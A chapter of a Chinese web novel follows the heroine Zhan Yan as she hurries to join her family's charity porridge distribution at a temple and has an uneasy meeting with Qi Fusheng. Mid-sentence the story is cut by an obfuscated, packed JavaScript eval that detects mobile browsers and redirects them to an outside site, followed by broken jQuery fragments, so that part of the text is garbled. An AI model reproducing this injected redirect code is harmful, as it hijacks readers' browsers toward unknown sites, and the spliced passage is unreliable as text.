36.帷帽1

燕京五月多雨,细雨如牛毛,已经断断续续下了五六日。


自花朝过后,展颜先是赶紧换下了身上的香膏,她是再也不敢用了。这次失误祁浮生没有追究算她走运,之后每次提笔写信,展颜总要先问问秋果自己身上还有没有什么香粉味才肯安心。


“姑娘真的没有了。”秋果对着连问三次的展颜不断点头,“你每日都要洗好几次澡,真的闻不到香膏味道了。”


秋果觉得再照着姑娘这种洗法,身上都要掉层皮。


祁浮生这几日“安分”了许多,不知道和花朝那日他突然发作的头疼有没有关系,这几日他只写了一封信,并且展颜送过去的那封回信到现在还没有得到回音。这也未免不是一件好事,不用日日如赶稿般挤出回信,展颜觉得轻松了许多。


为了祁浮生突然头疼这事,她还特地问了系统,结果不出所料,得到的回应还是不清楚不知道。


我要你有何用?展颜看着眼前的系统不免想到。


但最让她疑惑不解的地方还是男女主的好感度。按道理来说,这次花朝节过后,祁泽川和展清梦的关系是肉眼可见地亲密不少,那这好感度怎会没有半点提高?


对此,系统信誓旦旦地表示好感度统计并没有发生失误。展颜不信,叫它更新的时候一并查查是不是出错了。


***


“爹,真的不用叫上阿颜吗?”展清梦跟着姜燕回上了马车,打开车窗向外问道。


先帝有遗旨,每年都要找一个时间到寺庙里施粥体恤百姓,不仅是给来往流亡的难民一个栖身之所,也是想让自己的子民们看到燕国的国泰民安。


但自先帝去世之后,如今的圣上一开始每年还会亲临施粥,到了后来来的次数少了,问的次数也少了。久而久之也就根本不再过问。要不是展五德和祁峰还有一些大臣每年自掏腰包延续这道先帝遗旨,这道善举早就不知被人们遗忘到了何处。


展清梦有问过爹为何不尝试唤上圣上一起,却只见爹叹息摇头,沉默良久后开口说道:“人一旦放弃了什么就很难再拿起来,甚至比一开始做准备的时候还要花费心力,还要难。”


展五德没有再说,但言语里可见对圣上的失望。这份失望是从何时而起的?是从圣上不再虚心纳谏开始的,还是从圣上不顾他极力劝阻还是执意要攻打西凉开始的,展五德已经记不清了。


今年施粥的地点定在香积寺,东西早就已经准备好了,展府的门前停着几辆马车,整装待发。


因为去年展颜在施粥时不仅把粥撒了,还一直嚷嚷着让庙里的小和尚拿着拿那,不仅半点忙没有帮上,回府后还扬言无聊至极,发誓下次再也不去。对于她这实在闹人的脾性,展五德第一次对她发了火,平时的小打小闹无妨,但要是牵扯到国事,他定然还是严厉待之。


今年的施粥,展五德没有叫上展颜,既然她不想去,那就不用去了,省的又生出什么麻烦。


“算了,让颜儿自己待在府里吧。”展五德叹口气。


马车前的马儿跺着脚,马蹄踩在地上的水洼里,发出“嗒嗒”的声响。


雨刚停,地上还有点湿。


“姑娘!姑娘你慢点!”秋果手里抱着展颜昨日晚上就收拾好的包袱,喘着气小跑着跟在展颜身后,“慢点跑姑娘,地上有积水当心摔着!”


展颜手里也抱着一个包裹,昨晚她就听说了施粥的事情。仔细一想,这不是正好?花朝节上那个男孩不是说有人辱她名节?那正好借着这次机会把自己的名声给赚回来。


秋果帮她回忆了去年施粥的一幕幕,展颜是越听越觉得自己是个混账。为了展示自己的诚心,昨晚展颜在厨房与锅碗瓢盆大战了一夜,亲手做了好些吃食,有糕点还有些零嘴,准备在施粥的时候分给那些孩子们。


把东西包好后,展颜脑袋刚沾上枕头就睡着了,秋果昨晚帮了她一夜也是困得不行,本以为今早会有下人来叫她一道上路,结果一觉醒来看看日头就知道已经睡过头了。


没有人来叫她!为什么!怎么可以把她一个人丢在府里?她还要把自己的面子给赚回来呢。


“快点快点!来不及了!”展颜回应着身后的秋果,脚下的步子却不停,反而倒腾得更快了,“再慢点马车就走了,秋果你这体力不行啊,比我跑得还慢。”


“姑娘你就别开秋果的玩笑了。”秋果欲哭无泪。


两人抱着比自己上半身还大的包袱,在廊道里穿梭着。


“等一下!等一下!”展颜冲到展府门口,开口喊道,“还有人没到啊!”


见到门口还未离开的马车,展颜终于停下,双手叉腰喘起了气。


赶上了,还好赶上了。


“小宝?”展五德揉揉眼睛,不敢相信问道。


“爹!你为何不叫上我?”展颜撇嘴道,额角冒着细汗。


见女儿跑得上气不接下气,展五德也是心疼,赶紧踏下刚上的马车,快步到展颜身边,给她顺气。


“你去年不是说不去吗,不气了啊,爹的错爹的错……你这是?”展五德看见展颜怀里抱着的包袱问道。


“这是我准备施粥的时候分给难民里的孩子的,都是准备的一些吃食。”


展五德闻言一愣,心想不过一年,这孩子还真是长大了,笑道:“好,好。阿颜有这份心爹爹很是欣慰。”他伸手轻拍展颜的脑袋。


“那快上马车吧,你阿姐和阿娘在里面等着你呢。”


“嗯!”


***


香积寺庙里的空地上,早已经摆好了木架,今早刚煮好的白粥摆在桌上,弥漫出白花花的蒸汽,在空气里由浓变稠,消失不见。


祁家的人已经到了,祁泽川手下的护卫将难民们引到施粥处,一大群人有秩序地排好队伍。


马车在香积寺门外停下,展颜起身就要下车。


“阿颜等一下。”展清梦拉住展颜的胳膊。


“戴上这个。”


语罢,展清梦从马车内的一个小暗格


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703322|169825||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


里拿出两顶帷帽:“等会儿施粥的时候戴上,今日的香积寺不比往日,难民里大多数来自异域他乡,你我毕竟是还未出阁,还是先戴着比较好。”


展颜接过帷帽,竹青色的帽架,白色的薄纱。


“好的阿姐。”听阿姐的总没有错,展颜将帷帽戴上。


秋果已经等在马车外头,展五德和姜燕回作为这次善施的组织者之一,先行去和香积寺的住持见上个面。


“姑娘小心,别踩到了裙角。”


展颜蹦跶着跳下马车:“前面就是施粥的地方了吗?”


秋果替展颜理了理搭在帷帽上的白纱,闻言向前看了一眼:“是的姑娘,因为今年还加上了寒症和一些简单病症的义诊,多了一处写药方子的地儿,老爷夫人先进去同庙里的住持商议。大姑娘等会儿会先去管药材的地方,姑娘你一会儿是去施粥的地方。祁家的人已经到了,会有祁家的下人带我们进去。”


展清梦已经进去了,展颜又站在外头等了会儿,有个人影不紧不慢地踱步出了香积寺的门。


“展颜,好久不见。”


祁浮生站在石阶上,看着戴着帷帽的展颜道。


他方才正在里头帮着忙,身边跑过一个小厮,急匆匆的样子,便将人拦下来询问情况。


“回公子,是管事的吩咐说展姑娘在外头候着,让小的去接。”


“哪个展姑娘?”祁浮生接着问,墨色的瞳孔浓郁了些。


小厮还未回答,祁浮生就已经知道了答案。


展清梦在下人的引导下去了东边开药方子的地儿,隔着白纱,祁浮生也能将人认出来,展清梦是标准的闺阁小姐,走起路来温婉娴静,不拖泥带水。但若是展颜,就会踮着步子,一副随时会蹦跳起来的样子。


“我去接,你继续干活。”祁浮生脱口而出。


“可是……”


“没有可是。”


果不其然,还没走到门口就见门边一个身影,左踱几步右迈几下,一会儿都闲不下来。头上戴着的帷帽随着风翩翩飞着,腰间的系着的带子也凌乱无序地飘着。


展颜闻言转过身,白纱拂过脸颊,祁浮生只觉心里咯噔一响,慌乱难耐,微皱着眉。


很像。


但记忆里的那人不是她,是展清梦,祁浮生平缓呼吸。


很奇怪,为何刚才看见展清梦的时候没有这种似曾相识的感觉。


“好久不见,祁浮生。”展颜回道,她庆幸自己现在戴着帷帽,因为白纱之下,她现在的表情极具戏剧性。


哪里好久不见了,明明花朝才见过!


还有!不是说是下人来接吗?没人说是祁浮生啊!祁浮生是下人吗?很明显不是啊!


展颜捏着秋果的手臂。


感受到自家姑娘的求助,秋果无奈只能极小声安慰道:“姑娘你忍忍,说不定是里头太忙了,祁公子闲着就出来接应一下,等到里头忙起来了,就不会碰着面了。”


“好,我信你。”